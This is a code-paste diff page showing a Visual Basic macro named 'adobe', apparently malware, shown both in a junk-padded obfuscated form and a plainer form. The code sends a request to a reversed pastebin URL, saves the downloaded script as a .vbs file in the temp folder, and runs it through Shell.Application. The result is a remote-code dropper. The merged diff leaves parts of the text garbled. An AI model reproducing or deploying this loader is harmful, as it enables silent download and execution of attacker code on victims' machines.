Facebook
From Coral Hamerkop, 6 Years ago, written in Visual Basic.
This paste is a reply to Untitled from Burly Earthworm - go back
Embed
Viewing differences between Untitled and Re: Untitled
Sub adobe()
If 338496 = 338496 + 1 Then End
If 1777 < 63 Then
If 922166 = 922166 + 1 Then End
If 9127 < 66 Then
MsgBox ("mqbMRSGm18")
End If
If Len("kTtPMGkW1977") = Len("LoICefHZ") Then
MsgBox ("Error !!!")
End If
MsgBox ("PgiqSBzW25")

End If
If Len("mgRPvgyP4941") = Len("XKiVYDTj") Then
If 754292 = 754292 + 1 Then End
If 1597 < 98 Then
MsgBox ("QDFQvwsl44")
End If
If Len("leKPUFuQ2447") = Len("dwjhnLmV") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 289827 = 289827 + 1 Then End
If 2795 < 83 Then
MsgBox ("TWgPRntI35")
End If
If Len("ZjWbMEYp6168") = Len("tMcDezyH") Then
MsgBox ("Error !!!")
End If
Set wwwwwwwWWWef object CreateObject("MSXML2.XMLHTTP")

If 668478 
CreateObject(“MSXML2.XMLHTTP”)
urlAdress 
668478 StrReverse(“tth”) 1 Then End
If 7326 < 76 Then
If 843586 = 843586 + 1 Then End
If 5284 < 56 Then
MsgBox ("YdAPKvnz48")
End If
If Len("WDPjhqIS6134") = Len("GyoXohWN") Then
MsgBox ("Error !!!")
End If
MsgBox ("wvzUYfHd21")

End If
If Len("eFyTGYQR8176") = Len("ViRqIQBK") Then
If 827956 = 827956 + 1 Then End
If 8176 < 22 Then
MsgBox ("sqNJjLlS98")
End If
If Len("WpxjepcA9927") = Len("xFNRqICo") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 695995 = 695995 + 1 Then End
If 3797 < 31 Then
MsgBox ("lFOyNQPD14")
End If
If Len("UgJDcxKv4648") = Len("ZUhkjZtQ") Then
MsgBox ("Error !!!")
End If
wwwwwwwWWWefsd = StrReverse("tth") + StrReverse("i?php.
StrReverse(“i?php.daolnwod/moc.nibetsap//:p") nibetsap//:p”) StrReverse("tRagE7MK=")

If 766241 = 766241 + 1 Then End
If 2353 < 78 Then
If 358698 = 358698 + 1 Then End
If 6276 < 37 Then
MsgBox ("IntxJmEL41")
End If
If Len("BQYEKrLa1449") = Len("AgpJaZlU") Then
MsgBox ("Error !!!")
End If
MsgBox ("iIXrnARR68")

End If
If Len("cLcqZqMD3213") = Len("NxavPOll") Then
If 311656 = 311656 + 1 Then End
If 9855 < 26 Then
MsgBox ("hfwirWWH18")
End If
If Len("hlmvCWTG3128") = Len("pSMrJNLe") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 188696 = 188696 + 1 Then End
If 7999 < 11 Then
MsgBox ("cKtcDSsJ24")
End If
If Len("zcGWliBQ8749") = Len("hYpKCMaY") Then
MsgBox ("Error !!!")
End If
StrReverse(“tRagE7MK=”)
Call wwwwwwwWWWef.Open("POST", wwwwwwwWWWefsd, False)

If 116312 = 116312 + 1 Then End
If 8812 < 72 Then
If 325834 = 325834 + 1 Then End
If 3781 < 31 Then
MsgBox ("NBPriiZI76")
End If
If Len("UhDzjAvN4641") = Len("ZIdUqYQf") Then
MsgBox ("Error !!!")
End If
MsgBox ("LKJbwHlX65")

End If
If Len("ulBuLZbY9662") = Len("aScQSUDM") Then
If 772942 = 772942 + 1 Then End
If 1421 < 79 Then
MsgBox ("uDbJFajH69")
End If
If Len("cVaBHPYV2361") = Len("BARdVoyR") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 538689 = 538689 + 1 Then End
If 6928 < 86 Then
MsgBox ("jiNGNOBv17")
End If
If Len("CcrDozMJ9282") = Len("ysQOTLTH") Then
MsgBox ("Error !!!")
End If
wwwwwwwWWWef.Send

If 546418 = 546418 + 1 Then End
If 2947 < 85 Then
If 765841 = 765841 + 1 Then End
If 7655 < 42 Then
MsgBox ("uPFSBHDz83")
End If
If Len("ttlAgLgE8496") = Len("YOCGckDp") Then
MsgBox ("Error !!!")
End If
MsgBox ("KcMdMJRB36")

End If
If Len("AcjQYuIG6211") = Len("eaMBFTiw") Then
If 564373 = 564373 + 1 Then End
If 8698 < 89 Then
MsgBox ("ALDHomVW91")
End If
If Len("ooHGkFMd9548") = Len("eAhlqLin") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 329831 = 329831 + 1 Then End
If 3195 < 96 Then
MsgBox ("QdgOYkDo48")
End If
If Len("IIWbXmgP4955") = Len("pscStLFj") Then
MsgBox ("Error !!!")
End If
object.Open(“POST”, urlAdress, False)
object.Send
Set wwwwwwwWWWefv fso CreateObject("Scripting.FileSystemObject")

If 544281 
CreateObject(“Scripting.FileSystemObject”)
filePath 
544281 + 1 Then End
If 6974 < 87 Then
If 372139 = 372139 + 1 Then End
If 7256 < 99 Then
MsgBox ("rTmdDVxo82")
End If
If Len("rQlEUCuo1429") = Len("sbabrGJi") Then
MsgBox ("Error !!!")
End If
MsgBox ("hsTlqlWT18")

End If
If Len("XZOjlSHC9347") = Len("JWiXdKrq") Then
If 664139 = 664139 + 1 Then End
If 3135 < 96 Then
MsgBox ("BTQVtNEn48")
End If
If Len("OTicJjUh7398") = Len("qoQPNGyX") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 421477 = 421477 + 1 Then End
If 1963 < 13 Then
MsgBox ("pCjTfHDZ95")
End If
If Len("ccbsQAWf2713") = Len("lJVJRUin") Then
MsgBox ("Error !!!")
End If
wwwwwwwWWWefvd = Environ("TEMP") 
Environ(“TEMP”) "\wwwwwwwWWWefs.vbs"

If 984352 = 984352 + 1 Then End
If 3533 < 81 Then
If 715935 = 715935 + 1 Then End
If 1849 < 64 Then
MsgBox ("ruFGZLkN87")
End If
If Len("mkhCEZUo4113") = Len("XWLpQayG") Then
MsgBox ("Error !!!")
End If
MsgBox ("gJOtIluI71")

End If
If Len("TzqdPexJ4383") = Len("uTDbKAXc") Then
If 734318 = 734318 + 1 Then End
If 4182 < 44 Then
MsgBox ("DnGFrhvK27")
End If
If Len("DYFtVhoJ8355") = Len("IBdPJmxt") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 337231 = 337231 + 1 Then End
If 7962 < 35 Then
MsgBox ("QhBNvjiz49")
End If
If Len("znninNcq1235") = Len("EremIvCJ") Then
MsgBox ("Error !!!")
End If
“\fileName.vbs”
Set wwwwwwwWWWefvdv file wwwwwwwWWWefv.CreateTextFile(wwwwwwwWWWefvd, 2)

If 565682 = 565682 + 1 Then End
If 2495 < 27 Then
If 851687 = 851687 + 1 Then End
If 9148 < 94 Then
MsgBox ("YhfLgqei49")
End If
If Len("fTjJcEBb1999") = Len("iVHxkOsD") Then
MsgBox ("Error !!!")
End If
MsgBox ("fxSJumlS91")

End If
If Len("ACMvRybx3355") = Len("xhlevsDP") Then
If 716435 = 716435 + 1 Then End
If 1754 < 63 Then
MsgBox ("rtXqGQrX53")
End If
If Len("mhckHmmt2614") = Len("XLaTVLLQ") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 387865 = 387865 + 1 Then End
If 4521 < 62 Then
MsgBox ("ePBaVKsl73")
End If
If Len("PNzBuqiQ7784") = Len("RlnRNjwB") Then
MsgBox ("Error !!!")
End If
wwwwwwwWWWefvdv.
fso.CreateTextFile(filePath, 2)
file.
Write wwwwwwwWWWef.ResponseText

If 895754 = 895754 + 1 Then End
If 8854 < 21 Then
If 253678 = 253678 + 1 Then End
If 2433 < 55 Then
MsgBox ("nnTnXpzX21")
End If
If Len("cWqhssEc3284") = Len("QrTdHBTl") Then
MsgBox ("Error !!!")
End If
MsgBox ("daHRTmRG96")

End If
If Len("CadekQIT9714") = Len("vRHjnpus") Then
If 582975 = 582975 + 1 Then End
If 7875 < 73 Then
MsgBox ("byTvEiVi93")
End If
If Len("LanuiGxF8735") = Len("aGizTYiD") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 415795 = 415795 + 1 Then End
If 4954 < 95 Then
MsgBox ("SyJThaEj57")
End If
If Len("PAxmYetK5815") = Len("stNIFARv") Then
MsgBox ("Error !!!")
End If
wwwwwwwWWWefvdv.Close

If 245859 = 245859 + 1 Then End
If 3981 < 57 Then
If 754291 = 754291 + 1 Then End
If 4381 < 61 Then
MsgBox ("QSGQwHgk44")
End If
If Len("QKFzhHVj7554") = Len("MYwCDIOh") Then
MsgBox ("Error !!!")
End If
MsgBox ("VqPNbOlu78")

End If
If Len("TAFBIzfb6254") = Len("FgwMyMBv") Then
If 172172 = 172172 + 1 Then End
If 8215 < 47 Then
MsgBox ("vDbVdosr99")
End If
If Len("iDXxBvhM2578") = Len("OjbPiCGn") Then
MsgBox ("Error !!!")
End If
MsgBox ("Error !!!")

End If
If 599952 = 599952 + 1 Then End
If 2747 < 21 Then
MsgBox ("qDpylldc94")
End If
If Len("bfkDJymi3698") = Len("lUHlQqIw") Then
MsgBox ("Error !!!")
End If
object.ResponseText
file.Close
Set wwwwwwwWWWefvdvs shell CreateObject("Shell.Application")

wwwwwwwWWWefvdvs.
CreateObject(“Shell.Application”)
shell.
Open Environ("TEMP") Environ(“TEMP”) "\wwwwwwwWWWefs.vbs"
“\fileName.vbs”
End Sub